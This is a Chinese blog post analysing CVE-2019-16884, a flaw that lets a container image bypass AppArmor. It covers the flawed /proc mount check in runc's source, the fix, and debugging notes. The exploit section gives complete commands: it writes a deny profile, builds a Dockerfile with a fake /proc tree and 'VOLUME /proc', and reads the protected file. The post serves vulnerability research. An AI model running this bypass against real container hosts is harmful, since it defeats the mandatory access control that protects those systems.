抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞环境

环境部署 (X)

1
./metarget cnv install cve-2019-16884

不过有个坑,这里自动搭建的 runc 版本有点问题,见 issue89

这里使用 ssst0n3 大佬的镜像

1
2
3
docker network create test
docker run --network=test -d -p 2222:22 ssst0n3/docker_archive:ubuntu-20.04_docker-ce-19.03.2_docker-ce-cli-19.03.2_containerd.io-1.2.6-3_runc-1.0.0-rc8
ssh -p 2222 root@127.0.0.1

一定要创建网络噢,否则SSH连不上去

漏洞影响版本

  • runC <= 1.0.0-rc8 (Docker < 19.03.1)

漏洞与 AppArmor 有关

漏洞描述

在容器镜像中可以声明一个VOLUME, 挂载至/proc, 欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。

AppArmor

相信不少同学在Centos搭建环境被 SELinux 坑过不少,AppArmor 作为 SELinux 代替品出现,是一个Linux内核安全模块,允许系统管理员通过每个程序的配置文件限制程序的功能,上手和易用性比SELinux友好太多。

该模块可以从宿主机中设置相应的规则,限制容器内的文件能不能从容器内被读写执行,

1
2
cat /sys/module/apparmor/parameters/enabled # 查看是否开启apparmor,返回为Y表示开启
cat /sys/kernel/security/apparmor/profiles # 查看加载的配置文件

Docker 在 Linux 中也是通过查看 /sys/module/apparmor/parameters/enabled 判断宿主机是否开启 AppArmor,如不开启则开启Docker默认AppArmor策略。具体runC在启动容器时会尝试加载AppArmor策略:将 exec+AppArmor策略文件路径写入 /proc/self/attr/exec可参考源码,后面/proc/<pid>/attr会在使用主要的安全模块时使用到。

https://www.kernel.org/doc/html/latest/admin-guide/LSM/index.html

Process attributes associated with “major” security modules should be accessed and maintained using the special files in /proc/…/attr. A security module may maintain a module specific subdirectory there, named after the module. /proc/…/attr/smack is provided by the Smack security module and contains all its special files. The files directly in /proc/…/attr remain as legacy interfaces for modules that provide subdirectories.

修改/proc/self/attr/exec内容,可以在exec时修改限制策略。 https://gitlab.com/apparmor/apparmor/-/wikis/AppArmorinterfaces#procselfattrexec

The /proc/self/attr/exec file can be written to change the tasks confinement at exec time. It is used to perform the change_onexec operation.

漏洞分析

CVE-2019-16884 可以使得用户绕过AppArmor的一些策略进而可以实现一些越权操作,上面提到 docker 加载 AppArmor 是通过写入 /proc/self/attr/exec 实现的,我们可以通过挂在 /proc 卷让 runC 误认为它已成功加载 AppArmor 策略。

不过 runc 在挂载时 checkMountDestination 方法有对 /proc 进行黑名单校验

https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L414-L419

https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L467-L501

第2个链接如下代码判断存在逻辑问题

1
2
3
4
5
6
7
8
9
for _, invalid := range invalidDestinations {
path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)
if err != nil {
return err
}
if path != "." && !strings.HasPrefix(path, "..") {
return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid)
}
}

经调试,rootfsdest 依次为

1
2
rootfs: /var/lib/docker/overlay2/059ee72cfdfb48906c8cee6d34eaea3dbe912a31320cbb749ff5dc39347385de/merged
dest: /var/lib/docker/overlay2/059ee72cfdfb48906c8cee6d34eaea3dbe912a31320cbb749ff5dc39347385de/merged/proc

https://go.dev/play/p/-kUMChatabH

输出

1
2
3
. <nil>

Program exited.

也就是说黑名单没有起作用!缺少了个 path=="." 的判断,如有正确判断,checkMountDestination 方法会返回异常

调用链为

libcontainer.Init() -> prepareRootfs() -> mountToRootfs() -> checkMountDestination()

–> apparmor.ApplyProfile(l.config.AppArmorProfile)

可以注意到,应用 AppArmor 在挂载 rootfs 之后,Debug 一下确实是如此。前面我们知道 AppArmor 通过写入 /proc/self/attr/exec 去写入 AppArmor 规则的,那按理说,我们在先伪造 /proc 目录,然后 AppArmor 还是可以正常写入 /proc/self/attr/exec 才对?因为我一开始是想着 AppArmor 先写入,然后被我们伪造的 /proc 路径给覆盖了。既然能正常写入 /proc/self/attr/exe 那为啥还能bypass apparmor呢?

这边调试一下,确保 AppArmor 文件确实写进去了,

image-20220510103725891

执行一下 ls 命令是为了确定是否进入到容器里面了

image-20220510103835984

获取 /proc/self/attr/exec 内容确实写入了,但为啥 /flag 还是能正常读取?

因为写入 runc 产生的 procfs 因为他的 procfs 是容器的,每个进程运行时才能看到他们进程自己专属的 /proc/self 目录,自己伪造的是一个真实的文件系统 没有这种特性

漏洞利用

ssh 登陆至容器,注意不能 docker exec 进入,因为这个镜像里面通过 qemu 模拟了一个镜像,这个镜像才是漏洞环境

1
2
root@cloud_shoot ~# ssh -p 2222 root@127.0.0.1
root@127.0.0.1's password:root

创建apparmor规则

1
2
3
4
5
6
7
8
9
cat > /etc/apparmor.d/no_flag <<EOF
#include <tunables/global>

profile no_flag flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
deny /flag r,
}
EOF

应用规则

1
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag

随便建个 flag 文件

1
echo "flag{123-123}" > /tmp/flag

启动一个正常镜像,无权限读取/flag内容

1
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag

image-20220506091501130

创建一个恶意镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir apparmor-bypass/ && cd apparmor-bypass/
mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /proc
EOF

docker build -t apparmor-bypass .

利用

1
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag

image-20220506091952558

漏洞修复

https://github.com/opencontainers/runc/compare/7507c64ff675606c5ff96b0dd8889a60c589f14d...v1.0.0-rc9

在执行mount操作前,检查目的路径是否为/proc或位于/proc下, 如果是,则必须为procfs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if path == "." {
// an empty source is pasted on restore
if source == "" {
return nil
}
// only allow a mount on-top of proc if it's source is "proc"
isproc, err := isProc(source)
if err != nil {
return err
}
// pass if the mount is happening on top of /proc and the source of
// the mount is a proc filesystem
if isproc {
return nil
}
return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
}

其他

关于断点调试点一些小坑

因为 docekr 的各个组件的调用顺序是 docker run -> dockerd -> containerd -> containerd-shim -> runc ,因为 runc 是 cli 来的,我们并不知道入参是什么,这里用了个笨方法,依次拉 docker cli、dockerd、containerd 和 runc 的代码下来,然后 docker cli -> dockerd 是 HTTP REST 请求,dockers -> containerd 是 gRPC 请求,经 debug 发现 dockerd 通过 containerd 依赖的 client 去 gRPC调用。然后调用 containers-shim 以及 containers-shim 调 runc 通过系统命令调用,一开始在 moby 库找了很多 runc 代码发现没有 rootfs.go 这个文件,原来是 moby 并没有直接依赖 runc 的这部分代码。

各个版本

  • docker-ce-19.03.2
  • docker-ce-cli-19.03.2
  • containerd.io-1.2.6-3
  • runc-1.0.0-rc8
    • 注意低版本编译默认没有开启 apparmor 选项,-tags "seccomp apparmor"
    • seccomp 选项需要安装依赖 apt install pkg-config
    • apt install libseccomp-dev

参考链接

https://www.anquanke.com/post/id/265343

https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA

https://ssst0n3.github.io/post/网络安全/安全研究/容器安全/进程容器/服务器容器/docker/docker安全的关键技术/linux内核安全机制/LSM/apparmor/docker中apparmor的加载过程.html

评论